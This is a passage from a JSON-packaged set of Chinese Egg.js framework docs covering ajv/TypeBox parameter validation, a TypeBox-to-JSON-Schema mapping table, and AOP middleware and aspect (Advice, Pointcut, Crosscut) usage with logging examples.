{}\n```\n\n### 在 `Controller` 中使用入参类型和校验 `Schema`\n\n注入全局单例 `ajv`，调用 `ajv.validate(XxxSchema, params)` 进行参数校验，参数校验失败会直接抛出 AjvInvalidParamError 异常，egg 会自动返回相应的错误响应给客户端。\n\n```ts\nimport { Inject, HTTPController, HTTPMethod } from 'egg';\nimport { Ajv, Type, Static, TransformEnum } from 'egg/ajv';\n\nconst SyncPackageTaskSchema = Type.Object({\n  fullname: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 100,\n  }),\n  tips: Type.String({\n    transform: [TransformEnum.trim],\n    maxLength: 1024,\n  }),\n  skipDependencies: Type.Boolean(),\n  syncDownloadData: Type.Boolean(),\n  // force sync immediately, only allow by admin\n  force: Type.Boolean(),\n  // sync history version\n  forceSyncHistory: Type.Boolean(),\n  // source registry\n  registryName: Type.Optional(Type.String()),\n});\n\ninterface SyncPackageTaskType extends Static<typeof SyncPackageTaskSchema> {}\n\n@HTTPController()\nexport class HelloController {\n  @Inject()\n  private readonly ajv: Ajv;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.POST,\n    path: '/syncPackage',\n  })\n  async syncPackage(task: SyncPackageTaskType) {\n    // 参数校验，一旦校验失败会抛出 AjvInvalidParamError 异常\n    this.ajv.validate(SyncPackageTaskSchema, task);\n\n    // 执行业务逻辑\n    return {\n      task,\n    };\n  }\n}\n```\n\n## TypeBox JSON 定义参考\n\n可以查看 [JSON Types](https://github.com/sinclairzx81/typebox?tab=readme-ov-file#json-types) 映射表学习。\n\n```ts\n┌────────────────────────────────┬─────────────────────────────┬────────────────────────────────┐\n│ TypeBox                        │ TypeScript                  │ Json Schema                    │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Any()           │ type T = any                │ const T = { }                  │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Unknown()       │ type T = unknown            │ const T = { }                  │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.String()        │ type T = string             │ const T = {                    │\n│                                │                             │   type: 'string'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Number()        │ type T = number             │ const T = {                    │\n│                                │                             │   type: 'number'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Integer()       │ type T = number             │ const T = {                    │\n│                                │                             │   type: 'integer'              │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Boolean()       │ type T = boolean            │ const T = {                    │\n│                                │                             │   type: 'boolean'              │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Null()          │ type T = null               │ const T = {                    │\n│                                │                             │   type: 'null'                 │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Literal(42)     │ type T = 42                 │ const T = {                    │\n│                                │                             │   const: 42,                   │\n│                                │                             │   type: 'number'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Array(          │ type T = number[]           │ const T = {                    │\n│   Type.Number()                │                             │   type: 'array',               │\n│ )                              │                             │   items: {                     │\n│                                │                             │     type: 'number'             │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Object({        │ type T = {                  │ const T = {                    │\n│   x: Type.Number(),            │   x: number,                │   type: 'object',              │\n│   y: Type.Number()             │   y: number                 │   required: ['x', 'y'],        │\n│ })                             │ }                           │   properties: {                │\n│                                │                             │     x: {                       │\n│                                │                             │       type: 'number'           │\n│                                │                             │     },                         │\n│                                │                             │     y: {                       │\n│                                │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Tuple([         │ type T = [number, number]   │ const T = {                    │\n│   Type.Number(),               │                             │   type: 'array',               │\n│   Type.Number()                │                             │   items: [{                    │\n│ ])                             │                             │     type: 'number'             │\n│                                │                             │   }, {                         │\n│                                │                             │     type: 'number'             │\n│                                │                             │   }],                          │\n│                                │                             │   additionalItems: false,      │\n│                                │                             │   minItems: 2,                 │\n│                                │                             │   maxItems: 2                  │\n│                                │                             │ }                              │\n│                                │                             │                                │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ enum Foo {                     │ enum Foo {                  │ const T = {                    │\n│   A,                           │   A,                        │   anyOf: [{                    │\n│   B                            │   B                         │     type: 'number',            │\n│ }                              │ }                           │     const: 0                   │\n│                                │                             │   }, {                         │\n│ const T = Type.Enum(Foo)       │ type T = Foo                │     type: 'number',            │\n│                                │                             │     const: 1                   │\n│                                │                             │   }]                           │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Const({         │ type T = {                  │ const T = {                    │\n│   x: 1,                        │   readonly x: 1,            │   type: 'object',              │\n│   y: 2,                        │   readonly y: 2             │   required: ['x', 'y'],        │\n│ } as const)                    │ }                           │   properties: {                │\n│                                │                             │     x: {                       │\n│                                │                             │       type: 'number',          │\n│                                │                             │       const: 1                 │\n│                                │                             │     },                         │\n│                                │                             │     y: {                       │\n│                                │                             │       type: 'number',          │\n│                                │                             │       const: 2                 │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.KeyOf(          │ type T = keyof {            │ const T = {                    │\n│   Type.Object({                │   x: number,                │   anyOf: [{                    │\n│     x: Type.Number(),          │   y: number                 │     type: 'string',            │\n│     y: Type.Number()           │ }                           │     const: 'x'                 │\n│   })                           │                             │   }, {                         │\n│ )                              │                             │     type: 'string',            │\n│                                │                             │     const: 'y'                 │\n│                                │                             │   }]                           │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Union([         │ type T = string | number    │ const T = {                    │\n│   Type.String(),               │                             │   anyOf: [{                    │\n│   Type.Number()                │                             │     type: 'string'             │\n│ ])                             │                             │   }, {                         │\n│                                │                             │     type: 'number'             │\n│                                │                             │   }]                           │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Intersect([     │ type T = {                  │ const T = {                    │\n│   Type.Object({                │   x: number                 │   allOf: [{                    │\n│     x: Type.Number()           │ } & {                       │     type: 'object',            │\n│   }),                          │   y: number                 │     required: ['x'],           │\n│   Type.Object({                │ }                           │     properties: {              │\n│     y: Type.Number()           │                             │       x: {                     │\n│   ])                           │                             │         type: 'number'         │\n│ ])                             │                             │       }                        │\n│                                │                             │     }                          │\n│                                │                             │   }, {                         │\n│                                │                             │     type: 'object',            |\n│                                │                             │     required: ['y'],           │\n│                                │                             │     properties: {              │\n│                                │                             │       y: {                     │\n│                                │                             │         type: 'number'         │\n│                                │                             │       }                        │\n│                                │                             │     }                          │\n│                                │                             │   }]                           │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Composite([     │ type T = {                  │ const T = {                    │\n│   Type.Object({                │   x: number,                │   type: 'object',              │\n│     x: Type.Number()           │   y: number                 │   required: ['x', 'y'],        │\n│   }),                          │ }                           │   properties: {                │\n│   Type.Object({                │                             │     x: {                       │\n│     y: Type.Number()           │                             │       type: 'number'           │\n│   })                           │                             │     },                         │\n│ ])                             │                             │     y: {                       │\n│                                │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Never()         │ type T = never              │ const T = {                    │\n│                                │                             │   not: {}                      │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Not(            | type T = unknown            │ const T = {                    │\n│   Type.String()                │                             │   not: {                       │\n│ )                              │                             │     type: 'string'             │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Extends(        │ type T =                    │ const T = {                    │\n│   Type.String(),               │  string extends number      │   const: false,                │\n│   Type.Number(),               │    ? true                   │   type: 'boolean'              │\n│   Type.Literal(true),          │    : false                  │ }                              │\n│   Type.Literal(false)          │                             │                                │\n│ )                              │                             │                                │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Extract(        │ type T = Extract<           │ const T = {                    │\n│   Type.Union([                 │   string | number,          │   type: 'string'               │\n│     Type.String(),             │   string                    │ }                              │\n│     Type.Number(),             │ >                           │                                │\n│   ]),                          │                             │                                │\n│   Type.String()                │                             │                                │\n│ )                              │                             │                                │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Exclude(        │ type T = Exclude<           │ const T = {                    │\n│   Type.Union([                 │   string | number,          │   type: 'number'               │\n│     Type.String(),             │   string                    │ }                              │\n│     Type.Number(),             │ >                           │                                │\n│   ]),                          │                             │                                │\n│   Type.String()                │                             │                                │\n│ )                              │                             │                                │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Mapped(         │ type T = {                  │ const T = {                    │\n│   Type.Union([                 │   [_ in 'x' | 'y'] : number │   type: 'object',              │\n│     Type.Literal('x'),         │ }                           │   required: ['x', 'y'],        │\n│     Type.Literal('y')          │                             │   properties: {                │\n│   ]),                          │                             │     x: {                       │\n│   () => Type.Number()          │                             │       type: 'number'           │\n│ )                              │                             │     },                         │\n│                                │                             │     y: {                       │\n│                                │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const U = Type.Union([         │ type U = 'open' | 'close'   │ const T = {                    │\n│   Type.Literal('open'),        │                             │   type: 'string',              │\n│   Type.Literal('close')        │ type T = `on${U}`           │   pattern: '^on(open|close)$'  │\n│ ])                             │                             │ }                              │\n│                                │                             │                                │\n│ const T = Type                 │                             │                                │\n│   .TemplateLiteral([           │                             │                                │\n│      Type.Literal('on'),       │                             │                                │\n│      U                         │                             │                                │\n│   ])                           │                             │                                │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Record(         │ type T = Record<            │ const T = {                    │\n│   Type.String(),               │   string,                   │   type: 'object',              │\n│   Type.Number()                │   number                    │   patternProperties: {         │\n│ )                              │ >                           │     '^.*$': {                  │\n│                                │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Partial(        │ type T = Partial<{          │ const T = {                    │\n│   Type.Object({                │   x: number,                │   type: 'object',              │\n│     x: Type.Number(),          │   y: number                 │   properties: {                │\n│     y: Type.Number()           | }>                          │     x: {                       │\n│   })                           │                             │       type: 'number'           │\n│ )                              │                             │     },                         │\n│                                │                             │     y: {                       │\n│                                │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Required(       │ type T = Required<{         │ const T = {                    │\n│   Type.Object({                │   x?: number,               │   type: 'object',              │\n│     x: Type.Optional(          │   y?: number                │   required: ['x', 'y'],        │\n│       Type.Number()            | }>                          │   properties: {                │\n│     ),                         │                             │     x: {                       │\n│     y: Type.Optional(          │                             │       type: 'number'           │\n│       Type.Number()            │                             │     },                         │\n│     )                          │                             │     y: {                       │\n│   })                           │                             │       type: 'number'           │\n│ )                              │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Pick(           │ type T = Pick<{             │ const T = {                    │\n│   Type.Object({                │   x: number,                │   type: 'object',              │\n│     x: Type.Number(),          │   y: number                 │   required: ['x'],             │\n│     y: Type.Number()           │ }, 'x'>                     │   properties: {                │\n│   }), ['x']                    |                             │     x: {                       │\n│ )                              │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Omit(           │ type T = Omit<{             │ const T = {                    │\n│   Type.Object({                │   x: number,                │   type: 'object',              │\n│     x: Type.Number(),          │   y: number                 │   required: ['y'],             │\n│     y: Type.Number()           │ }, 'x'>                     │   properties: {                │\n│   }), ['x']                    |                             │     y: {                       │\n│ )                              │                             │       type: 'number'           │\n│                                │                             │     }                          │\n│                                │                             │   }                            │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Index(          │ type T = {                  │ const T = {                    │\n│   Type.Object({                │   x: number,                │   type: 'number'               │\n│     x: Type.Number(),          │   y: string                 │ }                              │\n│     y: Type.String()           │ }['x']                      │                                │\n│   }), ['x']                    │                             │                                │\n│ )                              │                             │                                │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const A = Type.Tuple([         │ type A = [0, 1]             │ const T = {                    │\n│   Type.Literal(0),             │ type B = [2, 3]             │   type: 'array',               │\n│   Type.Literal(1)              │ type T = [                  │   items: [                     │\n│ ])                             │   ...A,                     │     { const: 0 },              │\n│ const B = Type.Tuple([         │   ...B                      │     { const: 1 },              │\n|   Type.Literal(2),             │ ]                           │     { const: 2 },              │\n|   Type.Literal(3)              │                             │     { const: 3 }               │\n│ ])                             │                             │   ],                           │\n│ const T = Type.Tuple([         │                             │   additionalItems: false,      │\n|   ...Type.Rest(A),             │                             │   minItems: 4,                 │\n|   ...Type.Rest(B)              │                             │   maxItems: 4                  │\n│ ])                             │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Uncapitalize(   │ type T = Uncapitalize<      │ const T = {                    │\n│   Type.Literal('Hello')        │   'Hello'                   │   type: 'string',              │\n│ )                              │ >                           │   const: 'hello'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Capitalize(     │ type T = Capitalize<        │ const T = {                    │\n│   Type.Literal('hello')        │   'hello'                   │   type: 'string',              │\n│ )                              │ >                           │   const: 'Hello'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Uppercase(      │ type T = Uppercase<         │ const T = {                    │\n│   Type.Literal('hello')        │   'hello'                   │   type: 'string',              │\n│ )                              │ >                           │   const: 'HELLO'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Lowercase(      │ type T = Lowercase<         │ const T = {                    │\n│   Type.Literal('HELLO')        │   'HELLO'                   │   type: 'string',              │\n│ )                              │ >                           │   const: 'hello'               │\n│                                │                             │ }                              │\n│                                │                             │                                │\n├────────────────────────────────┼─────────────────────────────┼────────────────────────────────┤\n│ const T = Type.Object({        │ type T = {                  │ const R = {                    │\n│    x: Type.Number(),           │   x: number,                │   $ref: 'T'                    │\n│    y: Type.Number()            │   y: number                 │ }                              │\n│ }, { $id: 'T' })               | }                           │                                │\n│                                │                             │                                │\n│ const R = Type.Ref(T)          │ type R = T                  │                                │\n│                                │                             │                                │\n│                                │                             │                                │\n│                                │                             │                                │\n│                                │                             │                                │\n└────────────────────────────────┴─────────────────────────────┴────────────────────────────────┘\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/aop-middleware.md",
    "content": "# AOP 中间件\n\n## 使用场景\n\n一个请求进来后，会执行一系列处理，然后返回响应给用户。这个过程像一条管道，管道的每一个切面逻辑，称为 `Middleware`。这种模型也被形象地称为“洋葱模型”。\n\n![洋葱模型](https://mdn.alipayobjects.com/huamei_1jxgeu/afts/img/cwwCRpOnomgAAAAARSAAAAgADpOHAQFr/original)\n\n`Middleware` 非常适合用于实现如日志记录、安全校验等与具体业务无关的横切面逻辑。\n\n### 开启插件\n\n```typescript\n// config/plugin.ts\nexport default {\n  teggAop: true,\n};\n```\n\n#### 标准 AOP 写法\n\n标准 AOP 实现方式满足绝大部份场景，完全按照 AOP 装饰器使用方式实现即可。\n\n```typescript\nimport { Inject, Logger, ObjectInitType, Tracer } from 'egg';\nimport { Advice, IAdvice, AdviceContext } from 'egg/aop';\n\n@Advice({ initType: ObjectInitType.SINGLETON })\nexport class SimpleAopAdvice implements IAdvice {\n  @Inject()\n  logger: Logger;\n\n  @Inject()\n  tracer: Tracer;\n\n  async around(ctx: AdviceContext, next: () => Promise<any>) {\n    // 控制器前执行的逻辑\n    const startTime = Date.now();\n    this.logger.info('args: %j', ctx.args); // 调用 controller 方法，传入的参数\n\n    // 执行下一个 middleware\n    const res = await next();\n\n    // 控制器之后执行的逻辑\n    this.logger.info(\n      '%dms, traceId: %s',\n      Date.now() - startTime,\n      this.tracer.traceId,\n    );\n\n    // 对结果进行处理后，再返回\n    return {\n      res,\n      traceId: this.tracer.traceId,\n    };\n  }\n}\n```\n\n## 使用 `Middleware`\n\n实现好中间件逻辑后，通过 `Middleware` 装饰器，将中间件应用于具体的 controller 中，使其生效。`Middleware` 装饰器可用于 controller 类或者 controller 类中的方法。\n\n- `Middleware` 装饰器用于类上时，表示该类的所有方法都会应用该中间件。\n- `Middleware` 装饰器用于方法上时，表示只有该方法会应用该中间件。\n- 若类和方法上都有 `Middleware` 装饰器，会先执行类上的中间件，再执行方法上的中间件。\n- 若混用 Aop 中间件和函数式中间件，函数式中间件会先于所有 Aop 中间件执行。\n\n```typescript\nimport { Middleware } from 'egg';\n\n@Middleware(globalLog)\nexport class FooController {\n  // 执行顺序\n  // 进\n  // 1. globalLog(ctx, next)\n  // 2. methodCount(ctx, next)\n  // 3. hello()\n  // 出\n  // 4. methodCount(ctx, next)\n  // 5. globalLog(ctx, next)\n  @Middleware(methodCount)\n  async hello() {}\n\n  // 执行顺序\n  // 进\n  // 1. globalLog(ctx, next)\n  // 2. methodCount3(ctx, next)\n  // 3. methodCount2(ctx, next)\n  // 4. methodCount1(ctx, next)\n  // 5. mulitple()\n  // 出\n  // 6. methodCount1(ctx, next)\n  // 7. methodCount2(ctx, next)\n  // 8. methodCount3(ctx, next)\n  // 9. globalLog(ctx, next)\n  @Middleware(methodCount1)\n  @Middleware(methodCount2)\n  @Middleware(methodCount3)\n  async multiple() {}\n\n  // 执行顺序\n  // 进\n  // 1. globalLog(ctx, next)\n  // 2. bye()\n  // 出\n  // 3. globalLog(ctx, next)\n  async bye() {}\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/aop.md",
    "content": "# AOP 切面编程\n\n## 背景\n\n在业务开发中，常常会有日志记录、安全校验等逻辑。这些逻辑通常与具体业务无关，属于横向应用于多个模块间的通用逻辑。在面向切面编程（Aspect-Oriented Programming, AOP）中，将这些逻辑定义为切面。\n\n> 更多关于 AOP 的知识，可以查看 [Aspect-oriented programming](https://en.wikipedia.org/wiki/Aspect-oriented_programming)。\n\n## 使用\n\n### Advice\n\n使用 `@Advice` 注解来申明一个实现，可以用来监听、拦截方法执行。\n\n:::warning\n<strong>注意：Advice 也是一种 Prototype, 默认的 initType 为 Context ，可以通过 initType 来指定其他的生命周期。</strong>\n:::\n\n```ts\nimport { Advice, IAdvice, AdviceContext } from 'egg/aop';\nimport { Inject } from 'egg';\n\n@Advice()\nexport class AdviceExample implements IAdvice {\n  // Advice 中可以正常的注入其他的对象\n  @Inject()\n  private readonly callTrace: CallTrace;\n\n  // 在函数执行前执行\n  async beforeCall(ctx: AdviceContext): Promise<void> {\n    // ...\n  }\n\n  // 在函数成功后执行\n  async afterReturn(ctx: AdviceContext, result: any): Promise<void> {\n    // ...\n  }\n\n  // 在函数失败后执行\n  async afterThrow(ctx: AdviceContext, error: Error): Promise<void> {\n    // ...\n  }\n\n  // 在函数退出时执行\n  async afterFinally(ctx: AdviceContext): Promise<void> {\n    // ...\n  }\n\n  // 类似 koa 中间件的模式\n  // block = next\n  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {\n    // ...\n  }\n}\n```\n\n### Pointcut\n\n使用 `@Pointcut` 在某个类特定的方法上申明一个 `Advice`\n\n```ts\nimport { SingletonProto } from 'egg';\nimport { Pointcut } from 'egg/aop';\nimport { AdviceExample } from './AdviceExample';\n\n@SingletonProto()\nexport class Hello {\n  @Pointcut(AdviceExample)\n  async hello(name: string) {\n    return `hello ${name}`;\n  }\n}\n```\n\n### Crosscut\n\n使用 `@Crosscut` 来声明一个通用的 `Advice`，有三种模式\n\n- 指定类和方法\n- 通过正则指定类和方法\n- 通过回调来指定类和方法\n\n:::warning\n<strong>注意：Egg 中的对象无法被 Crosscut 指定</strong>\n:::\n\n```ts\nimport { Crosscut, Advice, IAdvice } from 'egg/aop';\n\n// 通过类型来指定\n@Crosscut({\n  type: PointcutType.CLASS,\n  clazz: CrosscutExample,\n  methodName: 'hello',\n})\n@Advice()\nexport class CrosscutClassAdviceExample implements IAdvice {}\n\n// 通过正则来指定\n@Crosscut({\n  type: PointcutType.NAME,\n  className: /crosscut.*/i,\n  methodName: /hello/,\n})\n@Advice()\nexport class CrosscutNameAdviceExample implements IAdvice {}\n\n// 通过回调来指定\n@Crosscut({\n  type: PointcutType.CUSTOM,\n  callback: (clazz: EggProtoImplClass, method: PropertyKey) => {\n    return clazz === CrosscutExample && method === 'hello';\n  },\n})\n@Advice()\nexport class CrosscutCustomAdviceExample implements IAdvice {}\n\n// 目标对象\n@ContextProto()\nexport class CrosscutExample {\n  hello() {\n    console.log('hello');\n  }\n}\n```\n\n### AdviceContext\n\n所有切面函数的第一个入参都是一个 `AdviceContext` 变量，这个变量的数据结构如下：\n\n```typescript\ninterface AdviceContext<T = object, K = any> {\n  that: T; //\n  method: PropertyKey;\n  args: any[];\n  adviceParams?: K;\n}\n```\n\n- that，被切的对象，`Pointcut`中代表被切函数所在类的实例，`Crosscut`中代表被切类的实例\n- method，被切的函数\n- args，被切函数的入参\n- adviceParams，切面注解透传的参数\n\n被切函数执行过程的伪代码如下：\n\n```typescript\nawait beforeCall(ctx);\ntry {\n  const result = await around(ctx, next);\n  await afterReturn(ctx, result);\n  return result;\n} catch (e) {\n  await afterThrow(ctx, e);\n  throw e;\n} finally {\n  await afterFinally(ctx);\n}\n```\n\n根据上面的实现过程切面函数可以通过`AdviceContext`来影响被切函数的执行：\n\n```typescript\n@Advice()\nclass PointcutAdvice implements IAdvice<Hello> {\n  @Inject()\n  logger: EggLogger;\n\n  // 修改被切函数的入参\n  async beforeCall(ctx: AdviceContext<Hello>): Promise<void> {\n    ctx.args = ['for', 'bar'];\n  }\n\n  // 修改被切函数的返回值\n  async afterReturn(ctx: AdviceContext<Hello>, result: any): Promise<void> {\n    result.foo = 'bar';\n  }\n\n  // 记录调用异常\n  async afterThrow(\n    ctx: AdviceContext<Hello, any>,\n    error: Error,\n  ): Promise<void> {\n    this.logger.info(\n      `${ctx.that.constructor.name}.${ctx.method.name} throw an error: %j`,\n      error,\n    );\n  }\n\n  // 打个调用结束的日志\n  async afterFinally(ctx: AdviceContext<Hello>): Promise<void> {\n    this.logger.info(\n      `called ${ctx.that.constructor.name}.${ctx.method.name}, params: %j`,\n      args,\n    );\n  }\n\n  // 修改被切函数的调用过程，比如将被切函数放到事务中执行\n  async around(\n    ctx: AdviceContext<Hello>,\n    next: () => Promise<any>,\n  ): Promise<any> {\n    await this.runInTransaction(next);\n  }\n}\n```\n\n### 参数透传\n\n同一个切面在不同的函数上可能会有不同的处理流程，比如事务存在不同的传播机制，如果期望用同一个事务注解来支持不同的传播机制，则需要在注解中传入参数。因此在 AOP 中增加了参数透传，切面函数执行时可以通过 `ctx.adviceParams`获取切面注解中传入的 `options.adviceParams`\n\n```typescript\nconst pointcutParams = { foo: 'bar' };\nconst crosscutParams = { bar: 'foo' };\n\n@Advice()\nexport class AdviceExample implements IAdvice {\n  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {\n    assert.strictEqual(ctx.adviceParams, pointcutParams);\n  }\n}\n\n@Crosscut(\n  {\n    type: PointcutType.NAME,\n    className: /crosscut.*/i,\n    methodName: /hello/,\n  },\n  { adviceParams: crosscutParams },\n)\n@Advice()\nexport class CrosscutNameAdviceExample implements IAdvice {\n  async around(ctx: AdviceContext, next: () => Promise<any>): Promise<any> {\n    assert.strictEqual(ctx.adviceParams, crosscutParams);\n  }\n}\n\n@ContextProto()\nexport class Hello {\n  @Pointcut(AdviceExample, { adviceParams: pointcutParams })\n  async hello(name: string) {\n    return `hello ${name}`;\n  }\n}\n```\n\n## 🌰 例子\n\n### 打印接口结果及耗时日志\n\n#### 实现日志打印 Advice\n\n```typescript\nimport { SingletonProto, Inject, Logger, Tracer } from 'egg';\nimport { Advice, IAdvice, AdviceContext } from 'egg/aop';\n\n@Advice()\nclass MethodLogAdvice implements IAdvice {\n  private start: number;\n  private succeed = true;\n\n  @Inject()\n  readonly tracer: Tracer;\n\n  @Inject()\n  private readonly logger: Logger;\n\n  // 方法调用前，记录开始执行时间\n  async beforeCall() {\n    this.start = Date.now();\n  }\n\n  // 若方法抛出异常，则标记 succeed 为 false\n  async afterThrow() {\n    this.succeed = false;\n  }\n\n  // 方法调用结束后，打印日志\n  async afterFinally(ctx: AdviceContext) {\n    this.logger.info(\n      ctx.method +\n        ',' +\n        (this.succeed ? 'Y' : 'N') +\n        ',' +\n        (Date.now() - this.start) +\n        'ms,' +\n        this.tracer.traceId +\n        ',' +\n        this.tracer.lastSofaRpcId +\n        ',',\n    );\n  }\n}\n```\n\n#### 使用 Advice\n\n```typescript\nimport { Pointcut, SingletonProto, Inject } from 'egg';\nimport { MethodLogAdvice } from './MethodLogAdvice';\n\n@SingletonProto()\nclass FooService {\n  @Pointcut(MethodLogAdvice)\n  async foo() {\n    // ...\n  }\n}\n```\n\n### 打印 oneapi 调用参数及耗时\n\n在函数应用中，或者使用 layotto 链路进行 oneapi 调用的标准应用（oneapi 配置了 lang: node）中，若想要打印 oneapi 调用的参数及耗时，可以通过 AOP 来实现。使用 CUSTOM 类型 crosscut 实现，框架启动时，会对所有的 oneapi facade 类进行切面织入。\n\n```typescript\nimport {\n  Advice,\n  AdviceContext,\n  Crosscut,\n  EggProtoImplClass,\n  IAdvice,\n  Inject,\n  LayottoFacade,\n  Logger,\n  PointcutType,\n} from 'egg';\n\n@Crosscut({\n  type: PointcutType.CUSTOM,\n  callback: (clazz: EggProtoImplClass, method: PropertyKey) => {\n    return (\n      clazz.prototype instanceof LayottoFacade && // 是否为 oneapi 生成的 facade 类\n      method !== 'constructor' &&\n      clazz.prototype.hasOwnProperty(method)\n    ); // 排除 constructor 和父类方法\n  },\n})\n@Advice()\nexport class OneapiCallAdvice implements IAdvice<LayottoFacade> {\n  @Inject()\n  logger: Logger; // 可以修改为注入自定义实现的 logger\n\n  async around(\n    ctx: AdviceContext<LayottoFacade>,\n    next: () => Promise<any>,\n  ): Promise<any> {\n    const facadeName = ctx.that.constructor.name;\n    const methodName = ctx.method;\n    const start = Date.now();\n    const res = await next();\n    const cost = Date.now() - start;\n    this.logger.info(\n      '%s.%s called, cost: %d, params: %j, result: %j',\n      facadeName,\n      methodName,\n      cost,\n      ctx.args,\n      res,\n    );\n    return res;\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/basics/app-start.md",
